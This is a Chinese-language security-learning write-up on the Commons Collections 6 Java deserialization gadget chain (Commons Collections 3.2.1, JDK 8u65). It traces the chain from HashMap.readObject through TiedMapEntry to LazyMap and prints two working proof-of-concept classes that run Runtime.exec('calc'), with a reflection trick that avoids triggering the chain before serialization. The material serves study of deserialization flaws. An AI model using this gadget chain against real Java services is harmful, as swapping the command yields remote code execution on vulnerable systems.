CC6利用链分析

CC1的两条利用链，在JDK 8u71之后已修复，不可利用。

学一下不受版本限制的CC6利用链

分析版本

Commons Collections 3.2.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

我的Github主页Java反序列化学习同步更新，有简单的利用链图

CC6是在CC1 LazyMap利用链的基础上。

与其不同的是在寻找CC1 LazyMap.get的利用时，找到的是TiedMapEntry的getValue方法。

TiedMapEntry又是个public类，并且可序列化，可以控制map和key的传值。

    public Object getValue() {return map.get(key);}

而getValue又被hashCode调用

    public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }

之后找hashCode的调用，作者找到的是HashMap的hash方法

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

我们又知道HashMap是可序列化的，还重写了readObject，看下readObject方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}
}

可以看到putVal(hash(key), key, value, false, false);正好调用了hash函数，只要保证反序列化时mapping的值大于0，就能走到这一步。

到此利用链完成。

Poc

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, 1);cc1_poc.serialize(hashMap);cc1_poc.unserialize("s.ser");}
}

此时可以弹计算器，但是计算器是在hashMap.put(tiedMapEntry, 1);这步（序列化之前）时，就把利用链调完了，所以参考URLDNS利用链

的解决办法。

因为是在put处触发的，所以我们在写完利用链之后，调用put之前，通过反射把利用链断掉。

在put方法调用之后，序列化之前，再把修改的位置复原。

更新Poc

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);//断掉利用链 TiedMapEntry, LazyMap, ChainedTransformer都可以//举个例子修改tiedMapEntry的 keyTiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), 1);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, 1);//复原//因为key为private，而且也没有public方法能直接修改key//利用反射Class c = TiedMapEntry.class;Field key = c.getDeclaredField("key");key.setAccessible(true);key.set(tiedMapEntry, lazyMap);cc1_poc.serialize(hashMap);cc1_poc.unserialize("s.ser");}
}

补充

如果在断掉利用链时选择修改LazyMap，会发现反序列化也不会触发计算器，是因为put过程中

走到LazyMap.get这，if表达式为真，会执行到map.put(key, value);

而map在序列化时会被序列化，在反序列化时map里面有了key，if表达式为假，不会执行chainedTransformer.transform，利用链断了。

解决这个问题，在put后序列化之前把lazyMap map中对应的key删掉就好了，详情参考cc6

    private void writeObject(ObjectOutputStream out) throws IOException {out.defaultWriteObject();out.writeObject(map);}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();map = (Map) in.readObject();}//-----------------------------------------------------------------------public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}